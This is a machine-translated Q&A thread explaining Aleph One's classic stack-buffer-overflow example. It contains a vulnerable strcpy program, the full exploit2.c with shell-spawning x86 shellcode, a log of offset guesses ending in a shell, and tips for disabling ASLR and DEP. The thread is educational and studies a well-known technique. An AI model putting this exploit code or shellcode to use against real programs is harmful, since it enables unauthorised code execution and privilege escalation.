您可以解释一下寻找缓冲区溢出潜力时寻找缓冲区偏移量的方法

问题描述:

我正在查看aleph's article on phrack magazine。下面的代码也可以在那里找到。您可以解释一下寻找缓冲区溢出潜力时寻找缓冲区偏移量的方法

我们有一个脆弱的可执行文件,它的代码是:

vulnerable.c

void main(int argc, char *argv[]) { 
    char buffer[512]; 

    if (argc > 1) 
    strcpy(buffer,argv[1]); 
} 

现在,因为我们真的不知道,试图攻击该可执行文件(通过溢出buffer时),buffer的地址是什么。我们需要知道它的地址,因为我们想覆盖ret指向buffer(我们在其中放入我们的shellcode)的开头。

是在文章中描述的猜测过程如下:

我们可以创建一个程序,它作为一个参数一个缓冲区的大小,以及 一个从它自己的堆栈指针偏移量(我们相信我们 想要溢出的缓冲区可能存在)。我们会把溢出字符串中 环境变量,所以很容易操纵:

exploit2.c

#include <stdlib.h> 

#define DEFAULT_OFFSET     0 
#define DEFAULT_BUFFER_SIZE    512 

char shellcode[] = //this shellcode merely opens a shell 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_sp(void) { 
    __asm__("movl %esp,%eax"); 
} 

void main(int argc, char *argv[]) { 
    char *buff, *ptr; 
    long *addr_ptr, addr; 
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
    int i; 

    if (argc > 1) bsize = atoi(argv[1]); 
    if (argc > 2) offset = atoi(argv[2]); 

    if (!(buff = malloc(bsize))) { 
    printf("Can't allocate memory.\n"); 
    exit(0); 
    } 

    addr = get_sp() - offset; 
    printf("Using address: 0x%x\n", addr); 

    ptr = buff; 
    addr_ptr = (long *) ptr; 
    for (i = 0; i < bsize; i+=4) 
    *(addr_ptr++) = addr; 

    ptr += 4; 
    for (i = 0; i < strlen(shellcode); i++) 
    *(ptr++) = shellcode[i]; 

    buff[bsize - 1] = '\0'; 

    memcpy(buff,"EGG=",4); 
    putenv(buff); 
    system("/bin/bash"); 
} 

现在我们可以尝试猜测什么缓冲区和偏移应该是:

[aleph1]$ ./exploit2 500 
Using address: 0xbffffdb4 
[aleph1]$ ./vulnerable $EGG 
[aleph1]$ exit 
[aleph1]$ ./exploit2 600 
Using address: 0xbffffdb4 
[aleph1]$ ./vulnerable $EGG 
Illegal instruction 
[aleph1]$ exit 
[aleph1]$ ./exploit2 600 100 
Using address: 0xbffffd4c 
[aleph1]$ ./vulnerable $EGG 
Segmentation fault 
[aleph1]$ exit 
[aleph1]$ ./exploit2 600 200 
Using address: 0xbffffce8 
[aleph1]$ ./vulnerable $EGG 
Segmentation fault 
[aleph1]$ exit 
. 
. 
. 
[aleph1]$ ./exploit2 600 1564 
Using address: 0xbffff794 
[aleph1]$ ./vulnerable $EGG 
$ 

我不明白是什么呢个e编写者意在提出,在explot2.c中,我们猜测vulnerable.c中缓冲区的大小,它是从栈指针偏移的。

  • 为什么我们将这个偏移量应用于exploit2的栈指针?
  • 这个效果如何vulnerable
  • 除了构建EGG环境变量外,exploit2.c的目的是什么?
  • 为什么我们最后称system("/bin/bash");
  • vulnerableexploit2之间发生了什么?

exploit2的唯一目的是建立egg变量,它需要作为参数传递给vulnerable。它可以被修改,以便调用vulnerable自身。

shellcode变量包含调用壳的功能的机器代码。目标是将此代码复制到vulnerablebuffer变量中,然后覆盖vulnerablemain函数的返回地址,以指向shell代码的入口点,即变量buffer的地址。堆栈向下增长:堆栈指针寄存器(32位x86架构中的esp)包含当前函数的局部变量使用的最小地址,在较高地址处我们找到其他局部变量,然后执行当前正在执行的函数的返回地址,然后是被调用者的变量等等。对变量(例如vulnerable中的buffer)的溢出写入将覆盖存储器中随后的buffer后面的任何值,在此情况下,由于buffermain函数的局部变量,所以返回地址为main

现在我们知道该怎么做,我们需要一些信息:

  • buffer变量的地址,让我们把它bp
  • main函数的返回地址的地址,我们姑且称之为它ra

如果我们有这个信息,我们可以建立一个利用字符串EGG使得:

  • 其长度,以便溢出串buffer足以覆盖返回地址ra - bp + sizeof(void*)sizeof (void*是返回地址的大小)
  • 它包含的攻击代码在开始时被执行,并且地址bp

请注意,我们只需要一个粗略的猜测的字符串的长度,因为我们可以直接使串长和不断重复的地址bp了这一切,但我们需要计算精确bp地址,如果我们想要的shellcode是正确执行。

我们开始通过猜测来覆盖返回值所需的字符串长度:600就够了,因为它触发Illegal instruction错误。一旦我们找到它,我们可以寻找bp地址。

我们知道,bp是围绕堆的底部,因为这是局部变量的存储位置。我们假设地址堆栈是相同的vulnerableexploit2,我们测量exploit2堆栈地址,并开始闲逛改变offset。一旦我们得到正确的偏移量shell代码将被执行(其导致addr等于所述目标bp的那个)时从vulnerablemain功能的控制流程返回。

如果你想测试此代码,请记住,这并不在其中所使用的操作系统包含数据不是可执行的标记页面,因为执行预防技术,现代化的机器工作。

+0

1.我可以通过打开外壳,'setarch“UNAME -m” -R/bin中/ bash'禁用ASLR并且通过使可执行以禁用DEP的脆弱的数据段进行测试(有工具,使其能够)。 2.你知道最后一行'system(“/ bin/bash”)的用途是什么吗?为什么我们需要在利用漏洞打开的shell中运行? – Bush

+1

2.这是因为'putenv'修改当前进程和子进程的环境(在这种情况下,由'system'打开的进程),所以你需要在那里运行'脆弱',以便让'EGG '定义变量。你也可以'利用'打印字符串并复制手动粘贴,但你必须处理逃跑 – pqnet

+0

4.这种攻击假定ASLR没有被部署。现在,当我的机器上运行'脆弱'时,这个猜测过程是否相关? (我认为这不是因为在那种情况下我可以调试它,看看'buffer'的地址究竟是什么)。什么情况?也许我是一个用户(而不是管理员)在一台机器中,其中'弱点'由管理员运行?或者我试图攻击服务器上的进程? – Bush